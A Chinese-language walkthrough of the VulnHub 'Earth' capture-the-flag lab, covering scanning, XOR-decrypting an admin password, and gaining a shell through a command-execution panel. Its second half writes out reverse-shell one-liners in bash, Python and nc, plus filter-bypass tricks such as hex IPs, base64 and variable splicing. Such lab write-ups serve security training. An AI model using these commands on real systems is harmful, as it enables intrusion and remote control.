vulnhub-earth · clubsk

vulnhub-earth

前言

攻击机IP:192.168.1.4

靶机IP:192.168.1.5

一、信息收集

nmap -sV --min--rate 10000 -p- 192.168.1.5

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.6 (protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
443/tcp open  ssl/http Apache httpd 2.4.51 ((Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)

经过初步扫描,我们可以发现开放了22、80、443端口,于是可以进行更加详细的扫描和漏洞发现,与此同时去查看了web服务,奇怪的是显示404。通过进一步扫描结果可以发现,它的ip的DNS解析指向两个域名

DNS:earth.local, DNS:terratest.earth.local

为了使得对域名的解析指向这个ip,我们需要在hosts文件中加上这样一条:192.168.1.5 earth.local terratest.earth.local

然后就可以正常访问,发现两个不同的域名他们的web页面都一样,有一个输入框,根据背景,应该是地面人员向太空传递信息用的,随便输点东西,会出来一些字符串;但是根据漏洞扫描结果,没有xss和csrf,用dnslogs测了一下,确实没有xss,并且根据对网页源码的观察可以发现对csrf进行了防护。漏洞扫描结果告诉我们,可以去访问它的/icons,但是吧,并没有有效信息。去看了下https页面,同样没啥东西。

对两个域名的http和https页面进行目录爆破。通过爆破,我们不难发现,开放了一个admin登录页面,需要账号密码;还有一个值得关注的是:在对https://terratest.earth.local的目录扫描中,意外发现了一个robots.txt

二、漏洞发现

我们通过访问发现,是一些被禁止的东西,可能是管理员告诉robot去禁止这些,但是最后一个testingnote貌似跟别人不太一样。想想它的意思,测试笔记?去访问一下看看,试了一些后缀php,html等发现是一个txt。

这个测试笔记有一些非常有用的信息,第一知道了admin登录页面的账号,第二知道了web页面的数据原来是通过xor加密来传递信息,想到原来web页面下面拿三串字符串,可能解密一下会有东西,第三就是这个testdata

XOR加密

加密:密文 C = 明文 P ⊕ 密钥 K
解密:明文 P = 密文 C ⊕ 密钥 K

三、漏洞利用

先去看一下这个testdata.txt,哇,发现一段废话。骗你的。根据xor的原理,如果把web页面的字符串当成密文,我们想要知道明文,就需要密钥,那么这一段废话是不是密钥呢🧐

试着解密一下吧;在线工具

对web页面的三条字符串解密

第一个:没啥用

第二个:没啥用

第三个:

earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat

很明显前两个没啥用,但是第三个在不断重复着earthclimatechangebad4humans,所以我们可以去尝试登录,发现ssh登不上去,但是admin页面可以

登上去以后,发现是一个输入框,并且可以执行一些命令

于是可以反弹shell:bash -i >& /dec/tcp/192.168.1.4/6666 0>&1 ;提前在kali上打开监听端口nc -lvnp 6666。但是什么都没有监听到,并且显示remote connections are forbidden,应该是是被过滤掉了,所以要尝试绕过。这里有把ip转为16进制,或者对命令进行base64编码两种方法

就此获得立足点

反弹shell

1.原理

让靶机主动连接我们的kali:靶机通常在内网或防火墙后面,外部很难直接连进去;但很多环境允许内网向外发起连接。所以让靶机主动连回攻击机,更容易打通。

2.准备工作(其实感觉可能大概应该也不用这么繁琐🥺)

在反弹shell之前需要做的

1.确认操作系统:uname -a

2.探测环境里有哪些工具 which bash pythin python3 nc php perl

3.测过滤规则

测试纯文本:echo hello,如果出来hello 说明一些基本命令没被过滤

测试特殊字符:echo /dec/tcp,如果报错,说明这个关键字符被拉黑

测试ip格式:echo 127.0.0.1,如果报错,说明不能用点分十进制,可以转为16进制

测试base64:echo dGVzdA== base64 -d (这是 test 的 base64),如果输出test ,说明可以用base64去绕过一些过滤

3.反弹策略

根据探测结果,选择反弹策略

A.bash -i >& /dec/tcp/ip/6666 0>&1

过滤字符串的话就16进制转换、base64编码绕过;过滤关键字的话就str=dev;/${str}/tcp/…去进行变量拼接;

B.

python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("IP",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])`

注意:如果 (“IP”,6666) 里的 IP 被拦截,也需要把整个 Python 代码转 Base64 执行。如果bin/sh被过滤,可以尝试用?替代h或者打乱写法

C.nc

如果支持-e参数就nc -e /bin/sh KaliIP 6666

如果不支持,就要用到linux的管道功能,把nc的输入输出与shell绑定起来:rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc KaliIP 6666 > /tmp/f

如果/bin/sh被过滤,需要考虑用shell代替sh,或者base64

原理:

  1. mkfifo /tmp/f:在 /tmp 下创建一个叫 f 的特殊文件(命名管道)。

  2. cat /tmp/f | /bin/sh -i 2>&1:把管道里的内容交给 shell 执行,并把 shell 的结果(包含错误)重新丢出来。

  3. nc 你的IP 6666 > /tmp/f:把 nc 连上Kali,并把收到的内容塞进管道